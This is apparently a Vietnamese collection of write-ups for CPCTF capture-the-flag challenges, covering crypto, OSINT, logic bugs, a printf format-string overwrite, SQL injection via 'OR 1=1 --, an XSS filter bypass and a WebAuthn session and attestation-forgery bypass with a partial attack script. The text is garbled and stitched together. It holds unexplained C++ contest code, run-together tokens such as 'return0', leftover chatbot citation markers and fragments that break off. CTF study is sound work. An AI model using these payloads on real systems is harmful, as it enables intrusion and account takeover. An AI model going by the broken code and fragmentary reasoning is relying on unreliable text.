Đầu tiên mình xem lại toàn bộ lịch sử theo lệnh mà mô tả đã gợi ý thì thấy git này đã trãi qua 4 lần commit và trong đó có 1 lần đã xóa flag ra khỏi thư mục
1
git log --all --oneline --graph
Sau khi đã xem xong lịch sử mình tiến hành tìm xem có xót lại các refs cũ không thì tìm đưuọc refs nguyên bản trước khi chỉnh sữa là .git/refs/original/refs/heads/master
1
find .git/refs -type f -maxdepth 4 -print -execcat {} \;
Tiếp đến mình xem các file có trong commit cũ thì thấy có thay đổi với hiện tại là có file flag.txt
m = re.search(rf'PUB_PAYLOAD= ([^"]*{re.escape(target[::-1])}[^"]*?)","PRIV_PAYLOAD=([^"]+)"', data) ifnot m: raise SystemExit("khong tim thay record matching")
vector<string> candidates; for (int d_last = 1; d_last <= 9; ++d_last) { vector<int> current_d(N); current_d[N - 1] = d_last; bool possible = true; for (int i = 0; i < N - 1; ++i) { if (p[i] % d_last != 0 || p[i] / d_last > 9) { possible = false; break; } current_d[i] = p[i] / d_last; }
if (possible) { if (current_d[0] * current_d[1] == p_extra) { string s = ""; for (int i = N - 1; i >= 0; --i) s += to_string(current_d[i]); candidates.push_back(s); } } }
int MX = 0; for (int i = 0; i < N; i++) { cin >> X[i]; MX = max(MX, X[i]); } for (int i = 0; i < N; i++) { cin >> Y[i]; }
vector<longlong> by_weight(MX + 1, 0); for (int i = 0; i < N; i++) { by_weight[X[i]] += Y[i]; }
longlong ans = 0; for (int g = W; g <= MX; g++) { longlong cur = 0; for (int multiple = g; multiple <= MX; multiple += g) { cur += by_weight[multiple]; } ans = max(ans, cur); }
for (int i = 0; i < H; i++) { for (int j = 0; j < W; j++) { if (C[i][j] == '#') continue; if (i == 0 && j == 0) { fromS[id(i, j)] = 1; } else { bool ok = false; if (i > 0 && fromS[id(i - 1, j)]) ok = true; if (j > 0 && fromS[id(i, j - 1)]) ok = true; fromS[id(i, j)] = ok; } } }
for (int i = H - 1; i >= 0; i--) { for (int j = W - 1; j >= 0; j--) { if (C[i][j] == '#') continue; if (i == H - 1 && j == W - 1) { toG[id(i, j)] = 1; } else { bool ok = false; if (i + 1 < H && toG[id(i + 1, j)]) ok = true; if (j + 1 < W && toG[id(i, j + 1)]) ok = true; toG[id(i, j)] = ok; } } }
if (fromS[id(H - 1, W - 1)]) { cout << H + W - 2 << '\n'; return0; }
for (int r = 0; r + 1 < H; r++) { vector<unsignedchar> suff(W + 1, 0); for (int j = W - 1; j >= 0; j--) { suff[j] = suff[j + 1] || toG[id(r + 1, j)]; }
bool pref = false; for (int j = 0; j < W; j++) { pref = pref || fromS[id(r, j)]; if (pref && suff[j]) { cout << H + W - 1 << '\n'; return0; } } }
for (int c = 0; c + 1 < W; c++) { vector<unsignedchar> suff(H + 1, 0); for (int i = H - 1; i >= 0; i--) { suff[i] = suff[i + 1] || toG[id(i, c + 1)]; }
bool pref = false; for (int i = 0; i < H; i++) { pref = pref || fromS[id(i, c)]; if (pref && suff[i]) { cout << H + W - 1 << '\n'; return0; } } }
longlongmod_pow(longlong a, longlong e){ longlong r = 1 % MOD; while (e > 0) { if (e & 1) r = (longlong)((__int128)r * a % MOD); a = (longlong)((__int128)a * a % MOD); e >>= 1; } return r; }
longlongisqrt_ll(longlong n){ longlong x = sqrtl((longdouble)n); while ((i128)(x + 1) * (x + 1) <= n) ++x; while ((i128)x * x > n) --x; return x; }
longlongicbrt_ll(longlong n){ longlong x = cbrtl((longdouble)n); while ((i128)(x + 1) * (x + 1) * (x + 1) <= n) ++x; while ((i128)x * x * x > n) --x; return x; }
longlongsum1(longlong n){ n %= MOD; return (longlong)((__int128)n * ((n + 1) % MOD) % MOD * INV2 % MOD); }
longlongsum2(longlong n){ longlong a = n % MOD; longlong b = (n + 1) % MOD; longlong c = (2 * (n % MOD) + 1) % MOD; return (longlong)((__int128)a * b % MOD * c % MOD * INV6 % MOD); }
longlongsum3(longlong n){ longlong s = sum1(n); return (longlong)((__int128)s * s % MOD); }
longlongsum4(longlong n){ longlong a = n % MOD; longlong b = (n + 1) % MOD; longlong c = (2 * (n % MOD) + 1) % MOD; longlong d = (3 * ( (__int128)n * n % MOD ) % MOD + 3 * (n % MOD) - 1) % MOD; if (d < 0) d += MOD; return (longlong)((__int128)a * b % MOD * c % MOD * d % MOD * INV30 % MOD); }
longlongrange_sum(longlong l, longlong r){ if (l > r) return0; longlong len = (r - l + 1) % MOD; longlong s = ((l % MOD) + (r % MOD)) % MOD; return (longlong)((__int128)s * len % MOD * INV2 % MOD); }
for (longlong a = 2; a <= lim; ++a) { i128 p = (i128)a * a * a; while (p <= N) { events.push_back({(longlong)p, (int)a}); p *= a; } }
sort(events.begin(), events.end());
vector<longlong> inv(max(2LL, lim + 1), 1); for (longlong i = 2; i <= lim; ++i) { inv[i] = MOD - (longlong)((__int128)(MOD / i) * inv[MOD % i] % MOD); }
longlong ans = 0; longlong curL = 1; longlong R = 1;
int m = (int)events.size(); int idx = 0;
while (idx < m) { longlong x = events[idx].first;
if (curL <= x - 1) { longlong seg = (calcF(x - 1) - calcF(curL - 1)) % MOD; if (seg < 0) seg += MOD; ans = (ans + (__int128)R * seg) % MOD; }
while (idx < m && events[idx].first == x) { int a = events[idx].second; longlong mul = (longlong)((__int128)(a % MOD) * inv[a - 1] % MOD); R = (longlong)((__int128)R * mul % MOD); ++idx; }
curL = x; }
if (curL <= N) { longlong seg = (calcF(N) - calcF(curL - 1)) % MOD; if (seg < 0) seg += MOD; ans = (ans + (__int128)R * seg) % MOD; }
voiddfs1(int u){ visited[u] = true; for (int v : adj[u]) { if (!visited[v]) dfs1(v); } order.push_back(u); }
voiddfs2(int u, int id){ visited[u] = true; scc_id[u] = id; scc_nodes.back().push_back(u); for (int v : rev_adj[u]) { if (!visited[v]) dfs2(v, id); } }
for (int i = 0; i < m; i++) { int u, v; cin >> u >> v; adj[u].push_back(v); rev_adj[v].push_back(u); }
for (int i = 1; i <= n; i++) visited[i] = false; for (int i = 1; i <= n; i++) { if (!visited[i]) dfs1(i); }
for (int i = 1; i <= n; i++) visited[i] = false; int current_scc = 0;
for (int i = n - 1; i >= 0; i--) { int u = order[i]; if (!visited[u]) { scc_nodes.push_back(vector<int>()); dfs2(u, current_scc); current_scc++; } }
if (scc_id[1] != 0) { cout << "No\n"; return0; }
for (int i = 0; i < current_scc - 1; i++) { bool has_edge = false; for (int u : scc_nodes[i]) { for (int v : adj[u]) { if (scc_id[v] == i + 1) { has_edge = true; break; } } if (has_edge) break; } if (!has_edge) { cout << "No\n"; return0; } }
flag = bytes(a ^ b for a, b inzip(unhexlify(exciting_flag), unhexlify(keystream))) print(flag.decode(errors="replace"))
r.close()
Flag: CPCTF{SAMe_01d_STReam_1s_A1WaYs_b0r1ng}
1, 0, 7 (Level 3)
視認性の良い(?)Nをお届けします。RSA暗号を解いてみてください。
Đặt: $$ R = 111\ldots111 = \frac{10^{317}-1}{9} $$
Khi đó: $$ 7R = 777\ldots777 $$
Và vì khối giữa có 95 chữ số 0, nên ta có: $$ N = R \cdot (10^{317+95} + 7) $$
hay:
$$ N = \left(\frac{10^{317}-1}{9}\right)(10^{412}+7) $$
Suy ra: $$ p = \frac{10^{317}-1}{9}, \qquad q = 10^{412}+7 $$
Mình tiến hành khôi phục khóa bí mật
Sau khi phân tích được: $$ N = pq $$
ta tính: $$ \varphi(N) = (p-1)(q-1) $$
Với e = 65537, tính: $$ d \equiv e^{-1} \pmod{\varphi(N)} $$
Tiếp đên là giải mã Bản rõ được tính bằng: $$ m = c^d \bmod N $$
Sau đó chuyển m sang hex rồi sang bytes để lấy flag.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
N = int("111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777") e = 65537 c = 24843637357401882323446973756028112485787496266605121365114610100704976130139741775294278368083885062198910614947919701406960107347354136102083123762522563111468269091870174521712246171376836840432255040039220296948193266921702699341919800731671378599220251932387731543800016339125706640050863673217753733950003925236014913643596976803633793469056544830856356906877796834342590774214214984186572346186348406049348500029472048880777893019592044554103952675917537653629499365661200893824071688347597515583518961750064206790440539820055665939394772896875086157476469036827442358013160609933570806379028553689444972004391787853021463769839240033616969091368964549902197048529690707775841641688773013075774663922475980270327652933542
n1 = 317 zeros = 95
p = (10**n1 - 1) // 9 q = 10**(n1 + zeros) + 7
assert p * q == N
phi = (p - 1) * (q - 1) d = pow(e, -1, phi) m = pow(c, d, N)
flag = bytes.fromhex(hex(m)[2:]).decode() print(flag)
Flag: CPCTF{N_1s_34sy_70_bRe4k_873b4982a}
Anomaly 2 (Level 3)
あの大人気問題がいろいろ2倍になって再登場!
Hàm rsa_encryption triển khai sai công thức RSA. Thay vì mã hóa theo dạng chuẩn: $$ c = m^e \bmod n $$
chương trình lại tính: $$ c = n^e \bmod m $$
trong đó m là số nguyên thu được từ flag. Điều này làm cho c không còn là ciphertext RSA đúng nghĩa, mà chỉ là phần dư của n^e khi chia cho m.
Từ định nghĩa modulo, nếu: $$ c_1 = n_1^{e_1} \bmod m $$
thì tồn tại một số nguyên sao cho: $$
n_1^{e_1} - c_1 $$ chia hết cho m.
Nói cách khác: $$ m \mid (n_1^{e_1} - c_1) $$
Tương tự với bộ dữ liệu thứ hai: $$ m \mid (n_2^{e_2} - c_2) $$
Vì m cùng chia hết cho cả hai biểu thức trên, nên m sẽ chia hết cho ước chung lớn nhất của chúng: $$ m \mid \gcd(n_1^{e_1} - c_1,; n_2^{e_2} - c_2) $$
Do đó chỉ cần lấy GCD của hai giá trị này là có thể khôi phục được m Trong đề, cả hai lần đều có: $$ e_1 = e_2 = 3 $$
nên ta xét: $$ \gcd(n_1^3 - c_1,; n_2^3 - c_2) $$
Kết quả nhận được không phải đúng bằng m, mà là một bội nhỏ của m, cụ thể là: $$ \gcd(n_1^3 - c_1,; n_2^3 - c_2) = 2m $$
Vì vậy chỉ cần chia thêm cho 2 là thu lại được giá trị thật của bản rõ: $$ m = \frac{\gcd(n_1^3 - c_1,; n_2^3 - c_2)}{2} $$
Sau khi tìm được m, chỉ việc đổi số nguyên đó sang bytes rồi decode thành chuỗi là lấy được flag.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
from math import gcd deflong_to_bytes(n: int) -> bytes: return n.to_bytes((n.bit_length() + 7) // 8, "big")
Server dùng xoroshiro128+ để sinh lựa chọn cho 99 NPC từ một seed do người chơi nhập. Trước khi khởi tạo PRNG, server biến đổi seed theo công thức: $$ \text{seed}’ = \text{seed} \oplus 0x1234567890abcdef1234567890abcdef $$
Sau đó trạng thái nội bộ của xoroshiro128+ được tách thành hai word 64-bit: $$ (s_0, s_1) $$
Điểm quan trọng là xoroshiro128+không được phép khởi tạo với trạng thái toàn 0. Nếu: $$ s_0 = 0,\quad s_1 = 0 $$
thì mỗi lần gọi bộ sinh số ngẫu nhiên sẽ luôn cho ra 0, và trạng thái vẫn mãi là (0,0).
Ta chọn input sao cho sau phép XOR của server, seed trở thành 0
Nói cách khác, chỉ cần nhập đúng: $$ \text{seed} = 0x1234567890abcdef1234567890abcdef $$ thì: $$ \text{seed}’ = 0 $$
Khi đó PRNG được khởi tạo với trạng thái toàn 0.
Với trạng thái (0,0), mọi lần gọi next() đều trả về 0, nên: $$ \text{rng.next()} \bmod 3 = 0 $$
cho tất cả NPC.
Điều đó có nghĩa là cả 99 NPC đều luôn chọn: 0 = {Rock}
Luật server cho flag nếu người chơi là sole winner, tức là người thắng duy nhất.
Vì toàn bộ NPC đều ra Rock, ta chỉ cần chọn: 2 = {Paper}
Khi đó chỉ xuất hiện hai loại tay trong ván:
NPC: Rock
Player: Paper
Paper thắng Rock, và không có NPC nào cùng chọn Paper, nên số người thắng là đúng 1. Do đó người chơi trở thành SOLE winner và lấy được flag.
Input cần nhập:
Giá trị seed: $$ 0x1234567890abcdef1234567890abcdef $$
Sau đó chọn tay: 2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
from pwn import remote
HOST = "133.88.122.244" PORT = 32212
seed = "24197857200151252728969465429440056815"# 0x1234567890abcdef1234567890abcdef hand = "2"# Paper
r = remote(HOST, PORT)
r.recvuntil(b"Enter your lucky number (seed): ") r.sendline(seed.encode())
r.recvuntil(b"Your hand (0-2): ") r.sendline(hand.encode())
đổi flag thành số nguyên bằng bytes_to_long(flag.encode())
đổi số nguyên đó thành chuỗi thập phân dài đúng 75 chữ số
chia chuỗi này thành 3 phần, mỗi phần dài 25 chữ số
với từng vị trí, lấy một chữ số của bản rõ và một chữ số của key để thực hiện phép toán bitwise
Ba biểu thức được dùng là: $$ ((f \mid k) & (f \oplus k)) $$
$$ ((s & k) \oplus (s \mid k)) $$
$$ t \oplus ((t \mid k) & k) $$
Trong đó f, s, t, k đều là các số nguyên từ 0 đến 9
Hint cho biết các phép toán là độc lập trên từng bit, nên chỉ cần xét bảng chân trị theo từng bit.
Biểu thức thứ nhất $$ (a \mid b)&(a\oplus b) $$
Biểu thức này rút gọn thành: $$ a \oplus b $$
Biểu thức thứ hai $$ (a&b)\oplus(a\mid b) $$ Biểu thức này cũng rút gọn thành:$$ a \oplus b $$Biểu thức thứ ba Ta có: $$ (a\mid b)&b=b $$
nên: $$ a \oplus ((a\mid b)&b)=a\oplus b $$
Vì vậy, cả ba phép biến đổi trong chương trình thực chất đều chỉ là: $$ \text{digit} \oplus \text{key digit} $$
Do key được công khai, nên mỗi ký tự của encrypted_flag chỉ là kết quả của phép XOR giữa:
một chữ số gốc của chuỗi thập phân
và chữ số tương ứng của key
Vì thế ta chỉ cần XOR ngược lại với key để khôi phục toàn bộ chuỗi thập phân ban đầu. Sau khi đảo ngược, ta thu được ba block:
Để giải được bài này đàu tiên mình càn tìm MV IRIS OUT và từ mô tả mình có thông tin như sau
1 2 3
MV:IRIS OUT Tác giả: Kenshi Yonezu Ra mắt tại Liên hoan phim NHK Kohaku Uta Gassen lần 76
Sau khi tìm kiếm với các thông tin đã có mình tìm được địa điểm là Tokyo Expressway in the Shibuya district of Tokyo
Dùng google đẻ tìm thì được vị trí con đường
Tiếp đến mình cần tìm vị trí chi tiết của cái hộp màu trắng mà ca sĩ đứng lên để hát, trong 1 cảnh của MV mình tìm được toàn nhà đằng sau của Block trắng là Karaoke Kan Ginza Honten
Và lúc này vị trí đã được rút ngắn lại
Tiếp đến ở đầu MV mình thấy có hình 1 cái trạm với các dấu mũi tên nơi bắt đầu của ca sĩ
Sau đoạn trên thì ca sĩ đã ngồi cá mập và di chuyển vè phía trước và ở doạn cuối khi nhìn trên cao có thể thấy cạch Block là toàn nhà với thiết kế sọ ngang
Đến đây gần như mình đã có thể xác định được vị trí rồi nhưng đề bài yêu cần phải chính sác đến số thập phân thứ 3 nên mình cần góc nhìn gần hơn và chính xác hơn
Và ở cảnh quay cận mặt ca sĩ mình nhìn thấy phía sau có một cái mái che màu trắng
Và ở chỗ toàn nhà vừa tìm thấy đối diện là 1 trạm có mái che giống vậy
Sau khi tổng hợp lại mình tìm được vị trí cụ thể của Block
Flag: CPCTF{35674_139765}
Night View (Level 3)
この写真がどこで撮影されたものか特定してください。 ただし、ただし、次のフラグ形式で解答してください: CPCTF{(この建物のOpenStreetMapでのway id)} 例えば、この建物が東京科学大学大岡山キャンパス内の建物 Hisao & Hiroko Taki Plazaだと考えた場合、way ID は 717825414 なので、フラグは CPCTF{717825414} となります。
なお、この問題の減点ラインは10回です。
Đầu tiên minh được biết đâyy là ở Nhật và trong cức ảnh phía sau mình thấy có 1 cây câu đây chính là manh mối lớn nhất vì nó chó thể giúp xác định vị trí khu vực để khoanh vùng
Và khi tìm kiếm với google image mình được cho biết dây là cây cầu Rainbow Bridge ở Tokyo Bay
Tiếp theo là xác dịnh xem vị trí chụp ảnh ở bờ bên nào và trong ảnh thì mình nhìn thấy cung đường tròn ở bên phải nên vị trí chụp ảnh là ở bờ bên trái
Ở cuối bức ảnh mình thấy có 1 con sông và 1 cây cầu bắc ngang qua nên mình sẽ khoan vùng những vị trí có khả năng
Sau đó mình đi kiểm tra ở các điểm này để tìm 2 toà nhà khá là nổi bật trong ảnh với google earth là Igarashi Reizo Co.,Ltd. và THK Co., Ltd.
Tới đây mình đã nắm được góc nhìn và khu vực của vị trí chụp ảnh qua 2 toà nhầ vừa tìm được
Mình tiếp tục tìm kiếm dựa vào tòa nhà đối diện vị trí chụp ảnh và mình tìm ra được đó là toà ㈱フィールドサーブジャパン
Và mình thấy góc chụp ảnh khá cao so với toà nhà vừa tìm nên mình sẽ tìm toà nhà cao nằm phía sau đó và tìm được 2 tòa có khả năng
Nhưng trong ảnh thì thấy được mặt bên trái của toà nhà ㈱フィールドサーブジャパン mà toà bên trái lại dối diện song song nên suy ra góc chụp nằm ở toà bên phải
Sau khi đã có đủ dữ kiện mình lên OpenStreetMap để tra ID way
Ở mỗi round, người chơi nhập bet, sau đó chương trình kiểm tra: $$ \text{if } bet > coins \text{ then invalid} $$
Điểm yếu là điều kiện này chỉ chặn trường hợp cược lớn hơn số tiền đang có, nhưng không chặn số âm.
Vì vậy, ta có thể nhập: $$ bet < 0 $$ mà vẫn vượt qua kiểm tra.
Phân tích hai nhánh Sau khi qua phần kiểm tra, game có hai khả năng.
Nhánh SUCCESS Khi đó: $$ gain = \frac{bet \cdot (rand \bmod 301)}{100} $$
và: $$ coins = coins + gain $$ Nếu bet là số âm thì gain cũng sẽ là số âm hoặc bằng 0, nên nhánh này không giúp tăng tiền.
Nhánh FAILURE Khi đó chương trình thực hiện: $$ coins = coins - bet $$
Đây là chỗ quan trọng nhất. Nếu bet âm, ví dụ: $$ bet = -1000 $$
thì: $$ coins = coins - (-1000) = coins + 1000 $$
tức là thua lại làm số tiền tăng lên.
Ban đầu: $$ coins = 1 $$
Mình nhập:
$$ bet = -1000 $$
vì:
$$ -1000 > 1 $$
là sai, nên chương trình chấp nhận.
printf(name); ``` Đây là **format string vulnerability** vì dữ liệu người dùng được truyền trực tiếp làm format string cho `printf`. Ngoài ra, chương trình có biến toàn cục ```c char type[] = "ai"; ``` và chỉ in flag nếu điều kiện sau đúng ```c strcmp(type, "human") == 0 ``` Vì vậy mục tiêu của ta là dùng lỗ hổng format string để ghi đè giá trị của `type` từ `"ai"` thành `"human"`. Format string vulnerability cho phép dùng các định dạng như `%n`, `%hn`, `%hhn` để ghi số ký tự đã in ra vào một địa chỉ tùy ý. Ta lợi dụng điều này để ghi trực tiếp vào vùng nhớ của biến `type` Trong binary, `type` nằm tại địa chỉ $$ 0x404050 $$ Ta cần biến vùng nhớ bắt đầu từ địa chỉ này thành ```text human ```
Hay chính xác hơn là các byte: - `h` tại `0x404050` - `u` tại `0x404051` - `m` tại `0x404052` - `a` tại `0x404053` - `n` tại `0x404054` Thay vì ghi từng byte một, ta chia chuỗi `human` thành ba phần: - `n` ghi vào `type+4` - `ma` ghi vào `type+2` - `hu` ghi vào `type` Theo little-endian: $$ \text{"hu"} = 0x7568 $$ $$ \text{"ma"} = 0x616d $$ $$ \text{"n"} = 0x6e $$ Ta sắp xếp theo thứ tự giá trị tăng dần để dễ điều khiển số ký tự đã in: 1. `0x6e = 110` 2. `0x616d = 24941` 3. `0x7568 = 30056` Khi đó có thể dùng: - `%hhn` để ghi `1` byte - `%hn` để ghi `2` byte Offset trên stack Các địa chỉ đích không nằm sẵn trong tham số của `printf`, nên ta phải đặt chúng ở cuối input Sau khi căn chỉnh đúng độ dài chuỗi format, ba địa chỉ này sẽ tương ứng với các đối số - đối số `13` → `type+4` - đối số `14` → `type+2` - đối số `15` → `type` Việc đệm thêm vài byte trước phần địa chỉ là để các địa chỉ này rơi đúng vào đúng vị trí stack mà `%13$...`, `%14$...`, `%15$...` sẽ sử dụng Cơ chế hoạt động của payload Payload được thiết kế để - in đủ `110` ký tự rồi ghi `0x6e` vào `type+4`, tức ký tự `n` - tiếp tục tăng tổng số ký tự đã in lên `24941`, rồi ghi `0x616d` vào `type+2`, tức `ma` - tiếp tục tăng lên `30056`, rồi ghi `0x7568` vào `type`, tức `hu` Sau ba lần ghi, vùng nhớ tại `type` trở thành ```text human ``` Khi đó điều kiện ```c strcmp(type, "human") == 0 ``` trả về đúng, và chương trình in flag.
\seq_new:N\l_my_char_code_seq ``` Điều này cho biết `\l_my_char_code_seq` là một biến kiểu **sequence** trong `expl3`. :contentReference[oaicite:0]{index=0} Tiếp theo, chương trình định nghĩa hàm ```latex \cs_new_protected:Npn\my_convert_clist_to_string:n#1 { \???:Nn \l_my_char_code_seq { #1 } ... } ``` Ở đây `#1` là dữ liệu đầu vào, và nhìn cách dùng phía sau có thể thấy nó là một danh sách các phần tử ngăn cách bởi dấu phẩy, tức là một **comma list**. :contentReference[oaicite:1]{index=1} Ngay sau dòng có `???`, chương trình dùng ```latex \seq_map_inline:Nn\l_my_char_code_seq ``` Để duyệt từng phần tử của `\l_my_char_code_seq`. Điều đó có nghĩa là trước đó phải có một lệnh biến dữ liệu trong `#1` thành một **sequence** và gán vào biến này. :contentReference[oaicite:2]{index=2} Theo quy tắc đặt tên rất chặt của `expl3`, tên lệnh thường có dạng - kiểu dữ liệu tác động lên - hành động thực hiện - nguồn dữ liệu hoặc cách biến đổi - chữ ký đối số Ở đây ta cần một lệnh có ý nghĩa - làm việc với `seq` - `set` giá trị cho biến - lấy dữ liệu `from_clist` - nhận đối số kiểu `:Nn` Vì vậy lệnh phù hợp là ```latex \seq_set_from_clist:Nn ``` Nếu thay vào, dòng đầy đủ sẽ là ```latex \seq_set_from_clist:Nn\l_my_char_code_seq { #1 } ``` Dòng này có nghĩa là: - lấy comma list trong `#1` - chuyển nó thành sequence - gán cho `\l_my_char_code_seq` Sau đó lệnh ```latex \seq_map_inline:Nn\l_my_char_code_seq ``` sẽ lặp qua từng phần tử trong sequence đó, hoàn toàn khớp với logic của chương trình. `:contentReference[oaicite:3]{index=3} ` Lệnh còn thiếu là: `seq_set_from_clist`
Đề cho một file định dạng TeX `.fmt` thay vì source `.tex` Điểm quan trọng trong hint là - ký tự `a` và `g` đã bị đổi **category code** thành `13` (active character) - vì vậy không thể gọi trực tiếp ```tex \flag ``` Lý do là khi TeX đọc `\flag`, nó không còn token hóa nó thành một control sequence duy nhất nữa. Do `a` và `g` là active character, TeX sẽ tách nó thành kiểu như: - `\fl` - rồi ký tự active `a` - rồi ký tự active `g` nên `\flag` không còn truy cập được như bình thường.
Khi xem file `.fmt`, có thể thấy xuất hiện chuỗi `help`. Hint cũng gợi ý rõ là nên thử dùng primitive: ```tex \show\help ``` `\\show` không thực thi macro, mà chỉ in ra **nghĩa/định nghĩa** của control sequence đó Vì vậy ta dùng `\show\help` để xem `\help` thực chất là gì
Mục tiêu của bài là lấy được flag, nhưng `\flag` bị chặn bởi catcode của `a` và `g`. Do đó hướng hợp lý nhất là trong format đã tồn tại một **alias** khác không dùng chữ `a` hoặc `g`, và alias đó chính là `\help`. Khi dùng ```tex \show\help ``` TeX sẽ in ra định nghĩa của `\help`, và từ đó thấy rằng nó trỏ tới macro in flag, tức là alias của lệnh lấy flag. Nói cách khác, `\help` là đường vòng để gọi chức năng mà lẽ ra `\flag` thực hiện Thay vì cố gọi `\flag`, chỉ cần gọi alias an toàn ```tex \help ``` vì tên này không chứa các ký tự `a` và `g` đang bị active. Khi đó chương trình sẽ thực hiện macro tương ứng và in ra flag. 
Trang web hiển thị một chuỗi trông giống flag, nhưng khi copy ra thì hệ thống báo đó là dummy flag. Điều này cho thấy phần hiển thị và phần thực sự được copy có thể khác nhau. Các khả năng thường gặp là: - dùng CSS để che/đè nội dung thật - chèn nhiều chuỗi giống nhau rồi chỉ một chuỗi là thật - dùng JavaScript bắt sự kiện copy để thay clipboard - để flag thật trong DOM nhưng bị ẩn - để flag thật trong comment, attribute, hay text node không dễ thấy bằng mắt
Nên chỉ cần copy rồi dán đến khi ra flag 
Nhưng không nhanh bằng đọc HTML 
Model `Recipe` được khai báo như sau ```go type Recipe struct { gorm.Model Title string Description string } ``` `gorm.Model` chứa sẵn trường `DeletedAt`, nên model này dùng cơ chế **soft delete** của GORM. Trong hàm seed, chương trình tạo recipe bí mật rồi gọi ```go secret := Recipe{Title: "Secret Recipe", Description: os.Getenv("FLAG")} db.Create(&secret) db.Delete(&secret) ``` Nhìn qua thì tưởng như recipe bí mật đã bị xóa hẳn, nhưng với `gorm.Model`, `Delete` không xóa bản ghi khỏi database. Thay vào đó, GORM chỉ cập nhật `deleted_at` của dòng đó. Nói cách khác, flag vẫn còn trong bảng, chỉ là bị ẩn khỏi các truy vấn thông thường GORM thực sự làm gì khi Delete Với soft delete, `db.Delete(&secret)` tương đương với việc chạy một câu lệnh kiểu ```sql UPDATE recipes SET deleted_at = CURRENT_TIMESTAMP WHERE id = ... ``` chứ không phải ```sql DELETE FROM recipes WHERE id = ... ``` Do đó bản ghi chứa flag vẫn tồn tại trong database Ngoài ra, các truy vấn bình thường của GORM trên model có soft delete sẽ tự động thêm điều kiện ```sql deleted_at IS NULL ``` để ẩn các bản ghi đã bị soft delete. Lỗ hổng thứ hai Phần tìm kiếm dùng ```go db.Where("title LIKE '%" + q + "%'").Find(&recipes) ``` Đây là **SQL injection** vì giá trị `q` được nối chuỗi trực tiếp vào câu SQL. Giả sử nhập payload ```text %' OR 1=1 -- ``` thì điều kiện sẽ trở thành: ```sql title LIKE '%%' OR 1=1 -- %' ``` Dấu `--` comment phần còn lại, nên truy vấn bị phá vỡ theo ý attacker Bình thường GORM sẽ thêm điều kiện soft delete vào truy vấn, đại loại như ```sql WHERE (title LIKE '%...%') AND deleted_at IS NULL ``` Nhưng khi chèn payload ```text 'OR 1=1 -- ``` thì phần comment `--` sẽ nuốt luôn phần còn lại của câu lệnh, bao gồm cả điều kiện lọc `deleted_at IS NULL`. Kết quả là truy vấn thực tế trở thành kiểu ```sql WHERE title LIKE '%%' OR 1=1 ``` nên toàn bộ bản ghi đều được trả về, kể cả recipe bí mật đã bị soft delete. Payload cần dùng là ```text 'OR 1=1 -- ``` Khi đó danh sách kết quả tìm kiếm sẽ hiện cả bản ghi: - `Title: Secret Recipe` - `Description: <FLAG>` Và phần `Description` chính là flag 
Ý tưởng của bài là tác giả nghĩ rằng chỉ cần xóa thẻ `<script>` là đủ để chống XSS. Hàm sanitize của server chỉ làm kiểu này ```js function sanitize(html) { return html.replace(/<script[\s\S]*?<\/script>/gi, ''); }
Tức là chỉ xóa các đoạn:
1
<script>...</script>
Nhưng các thẻ HTML khác vẫn được render bình thường. Nếu nội dung người dùng nhập vào được chèn thẳng vào DOM/HTML, thì ta vẫn có thể trigger JavaScript qua các thuộc tính sự kiện như:
POST /api/admin/verify/finish ``` Ở bước này, server kiểm tra loại security key bằng cách so sánh: - `credential.Authenticator.AAGUID` - với AAGUID cố định của admin key Vấn đề nằm ở chỗ **AAGUID được lấy từ attestation object do client gửi lên**. Nếu server không xác minh attestation chain một cách chặt chẽ, attacker có thể **tự forge attestation object** và nhét vào AAGUID mong muốn. Điều đó có nghĩa là không cần possession key vật lý thật của admin. Chỉ cần gửi một attestation object giả với ```text c0ffee00-cafe-babe-dead-beef12345678 ``` là có thể vượt qua bước “physical check”. Bước 1: Tạo user thường và đăng ký WebAuthn credential của chính mình Trước tiên tạo một account thường, ví dụ ```text x1234 ``` Sau đó thực hiện flow đăng ký WebAuthn bình thường Ở bước này attacker tự tạo: - private key P-256 - credential ID ngẫu nhiên - attestation object kiểu `fmt: none` Mục tiêu là để server lưu một credential hợp lệ thuộc về user của attacker.
Bước 2: Bắt đầu login với `username=admin` Gọi ```http POST /api/login/security-key/begin ``` với body ```json {"username":"admin"} ``` Sau request này, session phía server đã ghi nhận rằng username đang được login là `admin`. Bước 3: Hoàn tất login bằng credential của chính mình Thay vì dùng credential của admin, attacker gửi assertion được ký bằng **private key của chính attacker**. Điểm cần chú ý là flow này sử dụng **discoverable assertion**, nên request phải có thêm: - `response.userHandle` Nếu để trống sẽ bị lỗi kiểu ```text Client-side Discoverable Assertion was attempted with a blank User Handle ``` Do đó attacker lấy `user.id` nhận được ở bước register, rồi gửi lại nó trong trường `userHandle` của login assertion. Khi đó: - chữ ký là hợp lệ với credential của attacker - server chấp nhận assertion - nhưng session username vẫn giữ là `admin` Kết quả là attacker có **admin session**. Bước 4: Forge bước physical verification Sau khi đã có admin session, gọi ```http POST /api/admin/verify/begin ``` để lấy challenge cho bước verify. Tiếp theo attacker tự forge một registration response mới, trong đó attestation object chứa: - `AAGUID = c0ffee00cafebabedeadbeef12345678` Nếu server chỉ kiểm tra đúng field AAGUID này mà không xác minh attestation chain đầy đủ, request sẽ được chấp nhận. Khi đó attacker vượt qua bước “physical verification” mà **không cần security key thật của admin**.
```python #!/usr/bin/env python3 import base64 import hashlib import json import secrets import sys from typing import Any
import requests from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec
BASE = "https://physical-ctf.web.cpctf.space" ADMIN_AAGUID = bytes.fromhex("c0ffee00cafebabedeadbeef12345678")
def expect_ok(r: requests.Response, step: str) -> None: if not r.ok: print(f"[-] {step} failed: {r.status_code} {r.text}") sys.exit(1)
def main() -> None: s = requests.Session()
# 1) Register user thường bằng credential của mình username = "x" + secrets.token_hex(4) login_key = ec.generate_private_key(ec.SECP256R1()) my_cred_id = secrets.token_bytes(32)
